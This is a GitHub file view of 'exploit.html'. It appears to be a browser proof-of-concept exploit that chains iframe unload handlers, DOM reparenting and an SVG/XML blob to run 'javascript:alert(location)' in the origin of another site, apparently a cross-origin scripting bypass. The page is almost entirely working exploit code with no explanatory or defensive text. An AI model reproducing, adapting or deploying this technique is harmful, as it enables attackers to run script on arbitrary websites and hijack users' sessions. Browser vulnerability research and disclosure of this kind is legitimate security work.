-
Notifications
You must be signed in to change notification settings - Fork 89
/
exploit.html
39 lines (34 loc) · 1.34 KB
/
exploit.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<body>
<div>
<b>
<p>
<script>
d = document.querySelector('div');
p = document.querySelector('p');
p.parentElement.appendChild(document.createElement('iframe')).contentWindow.onunload = () => {
document.body.appendChild(p);
d.remove();
f = p.appendChild(document.createElement('iframe'));
f.onload = () => {
f.onload = null;
document.documentElement.innerHTML = '';
f.src = 'javascript:alert(location)';
let xml = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(document.createElementNS('http://www.w3.org/1999/xhtml', 'iframe')).contentWindow.onunload = () => {
document.documentElement.appendChild(parent.f.parentElement.parentElement.parentElement);
};
</sc` + `ript>
<element a="2" />
</svg>`;
let tmp = document.documentElement.appendChild(document.createElement('iframe'));
tmp.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
};
f.src = 'https://abc.xyz/';
};
</script>
</b>
</p>
</div>
</body>